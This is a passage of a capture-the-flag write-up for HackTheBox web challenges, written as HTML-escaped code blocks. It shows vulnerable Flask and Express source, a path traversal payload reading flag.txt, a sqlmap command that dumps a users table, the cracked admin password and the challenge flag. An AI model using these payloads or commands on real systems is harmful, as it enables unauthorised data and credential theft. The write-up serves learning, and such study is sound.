&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;password&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">username&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;All fields are required!&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">401&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">login&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">user&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;auth&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">user&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Success&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">200&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid credentials!&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">403&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@api&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/export&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@isAuthenticated&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">exportFile&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_json&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid JSON!&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">400&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_json&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">communicationName&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;name&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Everyone is saying I should escape specific characters in the filename. I don&amp;#39;t know why.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">send_file&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;/communications/&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">communicationName&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">as_attachment&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Unable to retrieve the communication&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">400&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here we can see when we call &lt;code>/api/export&lt;/code> with POST method it will use body parameter &lt;code>name&lt;/code> to get the files. We can exploit this to get the flag using something like &lt;code>name=../../../../flag.txt&lt;/code>. But to use this endpoint, we must be authenticated, at the context of this challenge only &amp;ldquo;admin&amp;rdquo; user can be authenticated.&lt;/p>
&lt;p>Looking at how authentication works, I found out a place that is vulnerable to SQL Injection. However keep in mind that we are only granted access to SELECT on table &lt;code>users&lt;/code> and &lt;code>communications&lt;/code>. I decided to use &lt;code>sqlmap&lt;/code> to save the what&amp;rsquo;re left of my brain cells.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">login&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># I don&amp;#39;t think it&amp;#39;s not possible to bypass login because I&amp;#39;m verifying the password later.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">query&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;SELECT username, password FROM users WHERE username = &amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s1">&amp;#34;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">one&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">user&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">passwordCheck&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">passwordVerify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;password&amp;#39;&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">passwordCheck&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">createJWT&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;username&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">token&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I decided to use &lt;code>Burpsuite&lt;/code> to capture to login request, modified the field &lt;code>username&lt;/code> with value &lt;code>*&lt;/code> and saved it for the usage of &lt;code>sqlmap&lt;/code>.&lt;/p>
&lt;img src="orbital2.png" alt="Burpsuite demo" width="1000"/>
&lt;p>I saved it as &lt;code>req.txt&lt;/code>. Since the database and the table was already known the command I used was:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sqlmap -r req.txt --level&lt;span class="o">=&lt;/span>&lt;span class="m">5&lt;/span> --risk&lt;span class="o">=&lt;/span>&lt;span class="m">3&lt;/span> --technique&lt;span class="o">=&lt;/span>T -o --ignore-code &lt;span class="m">401&lt;/span> -D orbital -T users --dump
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;img src="orbital3.png" alt="SQLMap demo" width="1000"/>
&lt;p>Nice but we only got the hash. Initially, I was trying to use &lt;code>hashcat&lt;/code> but since this is HackTheBox, the challenge may use well-known hash so I throwed it on the internet and Voila! The credential is &lt;code>admin:ichliebedich&lt;/code>, login and use LFI attack the get flag.&lt;/p>
&lt;img src="orbital4.png" alt="SQLMap demo" width="1000"/>
&lt;img src="orbital5.png" alt="SQLMap demo" width="1000"/>
&lt;p>Flag is: &lt;flag>&lt;strong>HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}&lt;/strong>&lt;/flag>&lt;/p>
&lt;h2 id="didactic-octo-paddles">Didactic Octo Paddles&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given File&lt;/strong>: &lt;a href="https://github.com/HoangREALER/cyberApocalypse2023/blob/main/web_didactic_octo_paddle.zip" target="_blank" rel="noopener">Get it here&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description&lt;/strong>: You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop&amp;rsquo;s system to obtain information on the relic&amp;rsquo;s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>This time it gives us a login panel like the last time. Except this time it also has register function. Let&amp;rsquo;s look at the main routes in the source code.&lt;/p>
&lt;p>&lt;code>challenge/routes/index.js&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">module&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">exports&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">db&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">bcrypt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;bcryptjs&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">router&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;express&amp;#34;&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">Router&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">jwt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;jsonwebtoken&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">jsrender&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;jsrender&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">AuthMiddleware&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;../middleware/AuthMiddleware&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">AdminMiddleware&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;../middleware/AdminMiddleware&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">tokenKey&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">getUserId&lt;/span> &lt;span class="p">}&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;../utils/authorization&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">({&lt;/span> &lt;span class="nx">message&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">data&lt;/span> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">AuthMiddleware&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">products&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Products&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">findAll&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">render&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;index&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">products&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">products&lt;/span> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Something went wrong!&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">........&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">post&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/register&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">username&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">username&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Username and password are required&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">existingUser&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">findOne&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">where&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">username&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">username&lt;/span> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">existingUser&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Username already exists&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">await&lt;/span> &lt;span class="nx">db&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Users&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">create&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">username&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">username&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">password&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">bcrypt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">hashSync&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}).&lt;/span>&lt;span class="nx">then&lt;/span>&lt;span class="p">(()&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;User registered succesfully&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">error&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">error&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;Something went wrong!&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">........&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">router&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">post&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/login&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kr">async&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">username&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">username&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kr">const&lt;/span> &lt;span class="nx">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">password&lt;/span>&lt;span class="p">;&lt;/span>
